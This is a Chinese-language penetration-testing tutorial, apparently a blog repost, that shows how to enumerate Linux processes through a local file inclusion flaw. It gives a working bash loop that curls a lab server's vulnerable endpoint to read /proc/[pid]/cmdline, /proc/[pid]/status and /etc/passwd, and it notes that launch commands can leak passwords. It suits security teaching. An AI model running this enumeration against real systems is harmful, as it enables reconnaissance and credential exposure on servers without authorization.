通过 Linux 本地进程枚举实现 LFI/SSRF 提权

107 阅读3分钟

官网:http://securitytech.cc/

通过 Linux 本地进程枚举实现 LFI/SSRF 提权

本文重点讨论 Linux 进程枚举,这是 本地枚举(local enumeration) 的重要环节。

当 Web 服务器存在 SSRFLFI 漏洞时,你可以收集更多进程信息。不过,这种方法常被忽略,虽然执行简单,但可以提供非常有价值的数据。

能够查看系统上运行的进程非常有用。它可以帮助你识别更多攻击面,收集后续 提权 所需信息,并了解哪些服务可能进一步被利用。

在本指南中,我们使用我写的一行命令,通过 LFI 漏洞 枚举 Linux 服务器上的进程。命令会循环遍历 PID 范围,读取每个进程的 /proc/[pid]/cmdline 来获取启动命令,并检查 /proc/[pid]/status 来获取进程所有者 UID,然后通过 /etc/passwd 将 UID 映射为用户名。无法访问或为空的进程会被跳过。

注意: 虽然本文用 LFI 漏洞 演示,但同样方法也适用于 SSRF 或其他任意文件读取漏洞。


设置 LFI 目标

为了演示,我搭建了一个易受攻击的 Linux 网页:

http://192.168.1.179/index.php?file=

该接口存在 LFI 漏洞,允许我们读取系统上的任意文件。


了解 /proc

在枚举进程前,我们需要了解 **/proc**

/proc 是 Linux 内核在内存中创建的虚拟文件系统,不存在于磁盘上,但提供了系统的实时视图。每个运行的进程在 /proc 下都有一个以 PID 命名的目录,例如 /proc/1234

目录中常见文件:

  • cmdline:显示启动进程的命令行
    • status:包含进程所有者和资源使用情况

示例 /proc 目录(目标机器):


启动一个示例进程

为了演示,我在 2025 端口启动了一个 Netcat 监听器

nc -nlvkp 2025

使用 pidof nc 可以看到该进程的 PID 是 4972。 读取 /proc/4972/cmdline 可以看到启动 Netcat 的完整命令,/proc/4972/status 显示进程所有者 UID。


攻击者视角

从攻击者角度,可以通过 LFI 和 curl 访问相同信息。

问题是,攻击者如何知道哪些 PID 正在运行,每个 PID 对应的命令和用户呢?

方法:遍历所有可能的 PID,检查 /proc 中相关文件。我写了一行 Bash 命令自动化该过程:

for pid in $(seq 0 6000); do
cmd=$(curl -s "http://192.168.1.179/index.php?file=/proc/$pid/cmdline" | tr '\0' ' ')
[ -z "$cmd" ] && continue
uid=$(curl -s "http://192.168.1.179/index.php?file=/proc/$pid/status" | grep '^Uid:' | awk '{print $2}')
user=$(curl -s "http://192.168.1.179/index.php?file=/etc/passwd" | grep ":$uid:" | cut -d: -f1)
[ -z "$user" ] && user="UID:$uid"
echo "[$pid] $user$cmd"
done

说明:

  • 遍历 PID 0 到 6000(可调整上限)
    • 读取 /proc/[pid]/cmdline 并替换 null 字节为空格
    • 获取 UID 并映射到用户名
    • 输出 PID、用户名及启动命令

注意理解逻辑,这样你可以根据实际情况重写或调整命令。


执行枚举

运行脚本后,它会列出所有运行进程,包括示例的 Netcat 监听器:

在真实目标上,该方法可能泄露敏感信息。例如:

  • 一旦识别出某个服务,可以读取其配置文件以获取版本或其他信息,帮助进一步利用
    • 启动命令中可能包含密码或其他敏感参数

始终检查客户或 Bug Bounty 计划政策,看是否允许执行此类操作。


公众号:安全狗的自我修养

vx:2207344074

Gitee:gitee.com/haidragon

GitHub:github.com/haidragon

Bilibili:haidragonx